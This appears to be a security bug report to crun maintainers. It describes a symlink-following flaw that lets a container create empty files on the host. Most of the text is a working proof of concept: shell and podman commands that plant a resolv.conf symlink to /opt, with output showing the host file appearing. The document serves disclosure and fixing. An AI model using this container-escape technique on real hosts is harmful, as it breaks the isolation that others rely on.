crun follows symlinks when creating mount points, allowing a malicious container to create arbitrary empty files in the host filesystem.

runc resolves the symlink relative to the container rootfs using SecureJoin and creates /opt/resolv.conf inside the container instead.

/CC @giuseppe @rhatdan @cyphar

mkdir -p rootfs/etc
ln -s /opt/resolv.conf rootfs/etc/resolv.conf

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
EOF

podman build -t poc --no-cache .
podman run --runtime=crun poc

ls -lisaZ /opt
# 133154 0 -rwx------.  1 root root unconfined_u:object_r:usr_t:s0    0 Sep 29 16:47 resolv.conf

Works with SELinux on.

Tested with crun at 66cd22c and podman 1.5.1 on Fedora 30.

(--no-cache required when playing with the POC due to containers/buildah#1875)